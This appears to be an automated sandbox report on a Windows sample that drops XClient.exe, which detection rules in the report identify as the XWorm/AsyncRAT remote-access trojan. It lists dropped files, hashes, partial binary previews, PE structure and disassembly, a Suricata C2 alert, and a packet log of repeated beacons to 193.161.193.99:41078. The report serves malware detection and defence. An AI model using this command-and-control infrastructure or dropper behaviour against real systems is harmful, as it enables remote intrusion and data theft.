Preview:	ID3......aTPE1.......Gaming Sound FX.TIT2.......Bruh - Sound Effect (HD).TSSE.......Lavf60.3.100..............d.....i....... .......... ..4....LAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Users\user\AppData\Local\Temp\XClient.exe
File Type:	Generic INItialization configuration [WIN]
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9225895736416696
Encrypted:	false
SSDEEP:	3:rRSF0KKM2XNsr42VjF0KKM2XX:EFmM2ur5FmM2n
MD5:	3E8317227986355E07042038E6B37B00
SHA1:	8260AE251A3C632F28B61AFDE65251934A6654BA
SHA-256:	89B70297198948DAA067605A1520B670439385CEBB1176127FE55AE731B1E6DD
SHA-512:	EC274C42553B7C29ED6AA814BC4A06B7EDA747D45AB283460AE9C3E839AE2C56DCF0CDBB936A46B58C510A240CA0171F941ABFBC3D59743880DDC28C9E7CD5E9
Malicious:	false
Preview:	....### Groove Music ###..[WIN]r[WIN]....### Groove Music ###..r

C:\Users\user\AppData\Local\Temp\XClient.exe

Process:	C:\Users\user\Desktop\test2.exe.bin.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	6.059738091369709
Encrypted:	false
SSDEEP:	1536:Av0IoKmrPN5OoUFexjB2AbCJ4BPF+buERznntO9UAWX:Q0LKmrPV26E4BPF+buy7tO9UD
MD5:	4D152B9AAAEC95BD696369CE3793BBF5
SHA1:	63FA940184616380E268E4C377528826256823B8
SHA-256:	672777833A6661125CDD6586664AAA62E31FC362B777E178FA45A285B989CD56
SHA-512:	8F9F6D151896E2912CAB915034DC4EDF633006109DA2C5070A4A12DF1C0E2406594927048A0DF05CB73AC34263DC96C53B4266185D0551ADCD33959967716719
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\XClient.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g................................. ... ....@.. .......................`............@.....................................W.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......x[..L.......&.....................................................(.....r...p. S.....(.....r!..p. .(8..s.........s.........s.........s..........rA..p. ~{...ra..p. .i..r...p. =....r...p. Q...r...p. E/....((....r...p.r...p. \|A.."(....+.&(....&+..+5sF... .... .'..oG...(,...~....-.(D...(6...~....oH...&.-..rw..p. u...r...p. .....r...p. .T...r...p. "Y...r...p. ..................j..................sI.............."(F...+.:.t....(A...+.*

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cuwe1uc.vgs.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewnv5lid.gir.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rph1qqap.bsd.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxu5s3jv.k2i.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\test

Process:	C:\Users\user\AppData\Local\Temp\XClient.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	6.059738091369709
Encrypted:	false
SSDEEP:	1536:Av0IoKmrPN5OoUFexjB2AbCJ4BPF+buERznntO9UAWX:Q0LKmrPV26E4BPF+buy7tO9UD
MD5:	4D152B9AAAEC95BD696369CE3793BBF5
SHA1:	63FA940184616380E268E4C377528826256823B8
SHA-256:	672777833A6661125CDD6586664AAA62E31FC362B777E178FA45A285B989CD56
SHA-512:	8F9F6D151896E2912CAB915034DC4EDF633006109DA2C5070A4A12DF1C0E2406594927048A0DF05CB73AC34263DC96C53B4266185D0551ADCD33959967716719
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\test, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\AppData\Local\Temp\test, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\test, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g................................. ... ....@.. .......................`............@.....................................W.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......x[..L.......&.....................................................(.....r...p. S.....(.....r!..p. .(8..s.........s.........s.........s..........rA..p. ~{...ra..p. .i..r...p. =....r...p. Q...r...p. E/....((....r...p.r...p. \|A.."(....+.&(....&+..+5sF... .... .'..oG...(,...~....-.(D...(6...~....oH...&.-..rw..p. u...r...p. .....r...p. .T...r...p. "Y...r...p. ..................j..................sI.............."(F...+.:.t....(A...+.*

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.1977303294380475
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	test2.exe.bin.exe
File size:	153'600 bytes
MD5:	2aa459d8249147d19837b06c8640a950
SHA1:	38d8e8405b5efa19120d93b67a95ca03d0da3696
SHA256:	1a6ad2dbd06aa2cd83a7275e492b9c98388243f1dd10e96394933251480acad5
SHA512:	4963332d4ce2c7041b8039f795ec58a629ebe4ce0cfd093c5f0803b1aa77e136fa72492a3a55d581715e36049c1b97bf8096f2b61b24e985f835685017093eb0
SSDEEP:	1536:ncIxGxxwe8BSlZ4bGqGZI/DSbhXPQMFkUFA/paJU39zYZQXcZMq3p3/f/JnDleqF:nRGjNbRZILcXTFFCUKNz2WMMORD/kG
TLSH:	BBE3D9230A16AC62FEF3C6320C634636FDB1F6B2CA5589764947408E6DF8716E58CF19
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............................L...............p....@..................................m.....................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014d1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	a9c887a4f18a3fede2cc29ceea138ed3

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000008h
nop
mov eax, 00000004h
push eax
mov eax, 00000000h
push eax
lea eax, dword ptr [ebp-04h]
push eax
call 00007F05A0B74F5Dh
add esp, 0Ch
mov eax, 004014AFh
push eax
call 00007F05A0B74F97h
mov eax, 00000001h
push eax
call 00007F05A0B74F94h
add esp, 04h
mov eax, 00030000h
push eax
mov eax, 00010000h
push eax
call 00007F05A0B74F88h
add esp, 08h
mov eax, dword ptr [00426574h]
mov ecx, dword ptr [00426578h]
mov edx, dword ptr [0042657Ch]
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-04h]
push eax
mov eax, dword ptr [00427000h]
push eax
push edx
push ecx
mov eax, dword ptr [ebp-08h]
push eax
call 00007F05A0B74F62h
add esp, 14h
mov eax, dword ptr [00426574h]
mov ecx, dword ptr [00426578h]
mov edx, dword ptr [0042657Ch]
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [edx]
push eax
mov eax, dword ptr [ecx]
push eax
mov eax, dword ptr [ebp-08h]
mov eax, dword ptr [eax]
push eax
call 00007F05A0B74D3Ch
add esp, 0Ch
push eax
call 00007F05A0B74F38h
add esp, 04h
leave
ret
push ebp
mov ebp, esp
sub esp, 00000004h
nop
mov eax, dword ptr [00426574h]
mov ecx, dword ptr [ebp+08h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26500	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x2f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x26550	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x668	0x800	c5de0bae10dd3692320ec100985aa899	False	0.40869140625	data	4.609985039863669	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x24703	0x24800	c44648cc56cdd1827b63d168e9363c50	False	0.550734428510274	data	7.191342161979317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x27000	0x4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x28000	0x2f8	0x400	1a81e557b8e13cf15d3843868cde2d0b	False	0.353515625	data	4.275513236564972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x28058	0x29f	XML 1.0 document, ASCII text	English	United States	0.47093889716840537

Imports

DLL	Import
msvcrt.dll	malloc, memset, strcmp, strcpy, getenv, sprintf, fopen, fwrite, fclose, __argc, __argv, _environ, _XcptFilter, __set_app_type, _controlfp, __getmainargs, exit
shell32.dll	ShellExecuteA
kernel32.dll	SetUnhandledExceptionFilter

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-16T13:10:49.951717+0100	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49773	193.161.193.99	41078	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 16, 2025 13:06:58.481085062 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:58.481132030 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:58.481199026 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:58.506231070 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:58.506258011 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:58.913202047 CET	49711	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:06:58.917990923 CET	41078	49711	193.161.193.99	192.168.2.4
Mar 16, 2025 13:06:58.918103933 CET	49711	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:06:59.171113968 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.171192884 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.250909090 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.250935078 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.251338005 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.251400948 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.254369974 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.296334028 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.448939085 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.448966026 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.449018955 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.449059963 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.449079037 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.449146986 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.449373960 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.449425936 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.449438095 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:06:59.449480057 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.451983929 CET	49710	443	192.168.2.4	92.123.20.9
Mar 16, 2025 13:06:59.452003002 CET	443	49710	92.123.20.9	192.168.2.4
Mar 16, 2025 13:07:00.575731993 CET	41078	49711	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:00.575846910 CET	49711	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:00.877520084 CET	49711	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:00.882988930 CET	41078	49711	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:01.018765926 CET	49714	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:01.024961948 CET	41078	49714	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:01.025053978 CET	49714	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:01.304323912 CET	49714	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:01.309083939 CET	41078	49714	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:02.684691906 CET	41078	49714	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:02.691138029 CET	49714	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:05.905127048 CET	49714	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:05.907808065 CET	49717	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:05.909827948 CET	41078	49714	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:05.912553072 CET	41078	49717	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:05.932934999 CET	49717	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:06.148951054 CET	49717	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:06.154184103 CET	41078	49717	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:07.571748972 CET	41078	49717	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:07.576848984 CET	49717	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:09.433573961 CET	49717	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:09.434772015 CET	49724	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:09.438287020 CET	41078	49717	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:09.439439058 CET	41078	49724	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:09.439523935 CET	49724	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:09.457725048 CET	49724	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:09.462492943 CET	41078	49724	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:11.088402033 CET	41078	49724	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:11.106849909 CET	49724	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:13.545491934 CET	49724	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:13.547883034 CET	49725	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:13.550302029 CET	41078	49724	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:13.552577972 CET	41078	49725	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:13.557388067 CET	49725	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:13.574934006 CET	49725	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:13.581614017 CET	41078	49725	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:15.196882963 CET	41078	49725	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:15.196963072 CET	49725	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:17.986352921 CET	49725	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:17.989259005 CET	49726	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:17.994674921 CET	41078	49725	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:17.996038914 CET	41078	49726	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:17.996150970 CET	49726	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:18.021557093 CET	49726	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:18.028134108 CET	41078	49726	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:19.654972076 CET	41078	49726	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:19.655050993 CET	49726	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:22.997437954 CET	49726	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:22.999237061 CET	49727	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:23.002247095 CET	41078	49726	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:23.004784107 CET	41078	49727	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:23.004859924 CET	49727	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:23.032567978 CET	49727	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:23.037242889 CET	41078	49727	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:24.670342922 CET	41078	49727	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:24.670463085 CET	49727	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:27.512948036 CET	49727	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:27.514431000 CET	49728	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:27.517784119 CET	41078	49727	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:27.519169092 CET	41078	49728	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:27.519247055 CET	49728	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:27.536437035 CET	49728	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:27.541160107 CET	41078	49728	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:29.165751934 CET	41078	49728	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:29.165873051 CET	49728	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:32.106741905 CET	49728	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:32.107894897 CET	49729	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:32.111648083 CET	41078	49728	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:32.112708092 CET	41078	49729	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:32.112782001 CET	49729	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:32.130917072 CET	49729	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:32.135642052 CET	41078	49729	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:33.763851881 CET	41078	49729	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:33.763940096 CET	49729	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:35.997447014 CET	49729	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:35.998883009 CET	49730	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:36.002126932 CET	41078	49729	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:36.003566980 CET	41078	49730	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:36.003648996 CET	49730	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:36.019709110 CET	49730	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:36.024564028 CET	41078	49730	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:37.650445938 CET	41078	49730	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:37.650513887 CET	49730	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:40.278584957 CET	49730	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:40.281136036 CET	49731	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:40.283322096 CET	41078	49730	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:40.286259890 CET	41078	49731	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:40.286331892 CET	49731	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:40.302396059 CET	49731	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:40.307039976 CET	41078	49731	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:41.931988001 CET	41078	49731	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:41.932075024 CET	49731	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:42.763319969 CET	49731	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:42.764705896 CET	49732	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:42.768202066 CET	41078	49731	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:42.769418001 CET	41078	49732	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:42.769536972 CET	49732	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:42.790580034 CET	49732	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:42.795417070 CET	41078	49732	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:44.416380882 CET	41078	49732	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:44.416461945 CET	49732	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:45.903645992 CET	49732	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:45.905893087 CET	49733	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:45.908313036 CET	41078	49732	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:45.910676956 CET	41078	49733	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:45.910765886 CET	49733	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:45.929111958 CET	49733	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:45.933823109 CET	41078	49733	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:47.558728933 CET	41078	49733	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:47.558897018 CET	49733	41078	192.168.2.4	193.161.193.99
